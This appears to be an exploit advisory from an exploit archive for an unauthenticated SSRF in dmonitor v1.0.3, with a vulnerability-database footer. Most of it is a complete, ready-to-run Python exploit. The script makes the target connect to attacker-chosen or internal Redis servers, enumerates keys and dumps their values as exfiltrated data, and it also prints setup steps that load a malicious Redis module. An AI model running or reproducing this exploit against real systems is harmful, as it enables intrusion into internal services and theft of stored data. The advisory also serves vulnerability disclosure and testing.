==================================================================================================================================
| # Title : dmonitor v1.0.3 – Unauthenticated SSRF Leading to Redis Access and Data Enumeration |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/dhjz/dmonitor |
==================================================================================================================================
[+] Summary : This Python script demonstrates a security vulnerability in dmonitor where unauthenticated requests can influence the application's outbound connections.
The tool interacts with Redis-related API endpoints to assess whether the application can be induced to connect to arbitrary Redis servers specified by a user.
[+] POC :
#!/usr/bin/env python3
import requests
import json
import sys
import argparse
from urllib.parse import urljoin
class DMonitorSSRF:
def __init__(self, target_url):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
self.redis_connected = False
def init_redis(self, attacker_host, attacker_port=6379, password=""):
"""
Forces dmonitor to connect to attacker-controlled Redis server
"""
endpoint = "/monitor-api/redis/initRedis"
params = {
"host": attacker_host,
"port": attacker_port,
"password": password
}
print(f"[*] Forcing dmonitor to connect to Redis at {attacker_host}:{attacker_port}")
try:
response = self.session.get(
urljoin(self.target_url, endpoint),
params=params,
timeout=10
)
if response.status_code == 200:
data = response.json()
if data.get("code") == 200:
print("[+] Successfully connected to attacker's Redis server")
self.redis_connected = True
return True
else:
print(f"[-] Failed: {data.get('msg')}")
return False
else:
print(f"[-] HTTP {response.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
return False
def list_keys(self, keyword=""):
"""
Lists all keys from the connected Redis server
"""
if not self.redis_connected:
print("[-] Redis not initialized. Call init_redis() first")
return None
endpoint = "/monitor-api/redis/listKey"
params = {"keyword": keyword}
print(f"[*] Enumerating Redis keys (keyword: '{keyword}')")
try:
response = self.session.get(
urljoin(self.target_url, endpoint),
params=params,
timeout=10
)
if response.status_code == 200:
data = response.json()
if data.get("code") == 200:
keys = data.get("data", [])
print(f"[+] Found {len(keys)} key(s): {keys}")
return keys
else:
print(f"[-] Failed: {data.get('msg')}")
return None
else:
print(f"[-] HTTP {response.status_code}")
return None
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
return None
def get_key_value(self, key):
"""
Retrieves the value of a specific key from Redis
"""
if not self.redis_connected:
print("[-] Redis not initialized. Call init_redis() first")
return None
endpoint = "/monitor-api/redis/getByKey"
params = {"key": key}
print(f"[*] Retrieving value for key: '{key}'")
try:
response = self.session.get(
urljoin(self.target_url, endpoint),
params=params,
timeout=10
)
if response.status_code == 200:
data = response.json()
if data.get("code") == 200:
value = data.get("data", {}).get("value")
print(f"[+] Value: {value}")
return value
else:
print(f"[-] Failed: {data.get('msg')}")
return None
else:
print(f"[-] HTTP {response.status_code}")
return None
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
return None
def full_exploit(self, attacker_host, attacker_port=6379):
"""
Complete exploit chain
"""
print("\n" + "="*60)
print("dmonitor v1.0.3 - Unauthenticated SSRF Exploit")
print("="*60 + "\n")
if not self.init_redis(attacker_host, attacker_port):
print("[-] Exploit failed at initialization stage")
return False
keys = self.list_keys()
if not keys:
print("[-] No keys found or enumeration failed")
return False
print("\n[*] Exfiltrating data:")
print("-" * 40)
for key in keys:
value = self.get_key_value(key)
if value:
print(f" {key} => {value}")
print("\n[+] Exploit completed successfully!")
return True
def internal_scan(self, target_host, target_port, redis_command=""):
"""
SSRF to internal Redis servers
"""
print(f"[*] Attempting to connect to internal Redis: {target_host}:{target_port}")
if self.init_redis(target_host, target_port):
print("[+] Successfully connected to internal Redis server")
return self.list_keys()
return None
def setup_attacker_redis():
"""
Instructions for setting up attacker's Redis server
"""
print("\n[!] Attacker Redis Server Setup:")
print(" # Install Redis if not already installed")
print(" $ sudo apt install redis-server # Debian/Ubuntu")
print(" $ brew install redis # macOS")
print(" # Or download from https://redis.io/download")
print("\n # Start Redis server")
print(" $ redis-server --port 6379")
print("\n # Set test data")
print(" $ redis-cli set test_key \"SSRF_CONFIRMED\"")
print(" $ redis-cli set sensitive_data \"SECRET_VALUE\"")
print("\n # For advanced exploitation, set up malicious Redis module")
print(" $ redis-cli MODULE LOAD /path/to/malicious.so")
print("-" * 60)
def main():
parser = argparse.ArgumentParser(description='dmonitor v1.0.3 SSRF Exploit')
parser.add_argument('-t', '--target', required=True,
help='Target dmonitor URL (e.g., http://192.168.1.102:40001)')
parser.add_argument('-a', '--attacker-host', required=True,
help='Attacker-controlled Redis server IP')
parser.add_argument('-p', '--attacker-port', default=6379, type=int,
help='Attacker Redis port (default: 6379)')
parser.add_argument('-i', '--internal-scan', nargs=2, metavar=('HOST', 'PORT'),
help='Scan internal Redis server (SSRF to internal)')
parser.add_argument('--password', default='',
help='Redis password if required')
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
setup_attacker_redis()
sys.exit(1)
exploit = DMonitorSSRF(args.target)
if args.internal_scan:
internal_host, internal_port = args.internal_scan
exploit.internal_scan(internal_host, int(internal_port))
else:
exploit.full_exploit(args.attacker_host, args.attacker_port)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation